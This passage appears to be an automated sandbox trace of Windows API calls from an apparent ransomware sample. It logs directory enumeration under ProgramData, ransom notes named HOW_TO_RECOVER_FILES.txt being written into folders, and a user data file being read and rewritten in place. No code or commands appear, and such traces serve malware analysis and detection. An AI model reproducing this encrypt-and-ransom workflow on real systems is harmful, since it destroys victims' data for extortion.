lpOldMode=0x1f9edc80) returned 1 [0084.219] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd"), fInfoLevelId=0x0, lpFileInformation=0x352c320 | out: lpFileInformation=0x352c320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3724)) returned 1 [0084.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0084.219] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd", lpFilePart=0x0) returned 0x48 [0084.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0084.219] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0084.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0084.221] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\Templates\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3f [0084.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0084.221] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x79c [0084.223] GetFileType (hFile=0x79c) returned 0x1 [0084.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0084.223] GetFileType (hFile=0x79c) returned 0x1 [0084.224] WriteFile (in: hFile=0x79c, lpBuffer=0x352f298*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x352f298*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0084.225] CloseHandle (hObject=0x79c) returned 1 [0084.225] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x35 [0084.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0084.225] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\uev\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x79c [0084.227] GetFileType (hFile=0x79c) returned 0x1 [0084.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0084.227] GetFileType (hFile=0x79c) returned 0x1 [0084.227] WriteFile (in: hFile=0x79c, lpBuffer=0x3533e20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3533e20*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0084.229] CloseHandle (hObject=0x79c) returned 1 [0084.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0084.229] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures", lpFilePart=0x0) returned 0x2e [0084.229] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbaae4059, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbaae4059, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0084.229] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbaae4059, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbaae4059, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.229] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ecc15f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa4ecc15f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa4ecc15f, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x930d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default User.dat", cAlternateFileName="DEFAUL~1.DAT")) returned 1 [0084.230] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37896d36, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x37896d36, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x37896d36, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy.dat", cAlternateFileName="")) returned 1 [0084.230] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x93038, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1 [0084.230] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1518, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.png", cAlternateFileName="")) returned 1 [0084.230] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x967, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-192.png", cAlternateFileName="")) returned 1 [0084.230] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-32.png", cAlternateFileName="")) returned 1 [0084.230] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-40.png", cAlternateFileName="")) returned 1 [0084.230] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-48.png", cAlternateFileName="")) returned 1 [0084.230] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x93038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 1 [0084.231] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1518, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.png", cAlternateFileName="")) returned 1 [0084.231] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.231] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0084.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0084.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0084.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0084.231] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures", lpFilePart=0x0) returned 0x2e [0084.231] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbaae4059, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbaae4059, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0084.231] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbaae4059, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbaae4059, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.231] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ecc15f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa4ecc15f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa4ecc15f, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x930d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default User.dat", cAlternateFileName="DEFAUL~1.DAT")) returned 1 [0084.232] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37896d36, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x37896d36, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x37896d36, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy.dat", cAlternateFileName="")) returned 1 [0084.232] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x93038, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1 [0084.232] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1518, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.png", cAlternateFileName="")) returned 1 [0084.232] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x967, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-192.png", cAlternateFileName="")) returned 1 [0084.232] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-32.png", cAlternateFileName="")) returned 1 [0084.232] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-40.png", cAlternateFileName="")) returned 1 [0084.232] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-48.png", cAlternateFileName="")) returned 1 [0084.233] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x93038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 1 [0084.233] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1518, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.png", cAlternateFileName="")) returned 1 [0084.233] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1518, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.png", cAlternateFileName="")) returned 0 [0084.233] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0084.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0084.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0084.233] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat", lpFilePart=0x0) returned 0x3f [0084.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0084.233] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat"), fInfoLevelId=0x0, lpFileInformation=0x3544c98 | out: lpFileInformation=0x3544c98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ecc15f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa4ecc15f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa4ecc15f, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x930d0)) returned 1 [0084.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0084.234] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat", lpFilePart=0x0) returned 0x3f [0084.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0084.234] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0084.234] GetFileType (hFile=0x79c) returned 0x1 [0084.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0084.234] GetFileType (hFile=0x79c) returned 0x1 [0084.235] SetFilePointer (in: hFile=0x79c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0084.235] ReadFile (in: hFile=0x79c, lpBuffer=0x3545be0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3545be0*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0084.236] CloseHandle (hObject=0x79c) returned 1 [0084.236] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat", lpFilePart=0x0) returned 0x3f [0084.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0084.236] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0084.236] GetFileType (hFile=0x79c) returned 0x1 [0084.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0084.236] GetFileType (hFile=0x79c) returned 0x1 [0084.236] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x930d0 [0084.236] WriteFile (in: hFile=0x79c, lpBuffer=0x35498d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x35498d0*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0084.238] CloseHandle (hObject=0x79c) returned 1 [0086.017] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat", lpFilePart=0x0) returned 0x3f [0086.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0086.017] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0086.018] GetFileType (hFile=0x778) returned 0x1 [0086.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0086.036] GetFileType (hFile=0x778) returned 0x1 [0086.036] ReadFile (in: hFile=0x778, lpBuffer=0x33f76e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x33f76e0*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0087.347] CloseHandle (hObject=0x778) returned 1 [0087.348] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat", lpFilePart=0x0) returned 0x3f [0087.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0087.348] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0087.348] GetFileType (hFile=0x778) returned 0x1 [0087.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0087.348] GetFileType (hFile=0x778) returned 0x1 [0087.348] WriteFile (in: hFile=0x778, lpBuffer=0x333ffa8*, 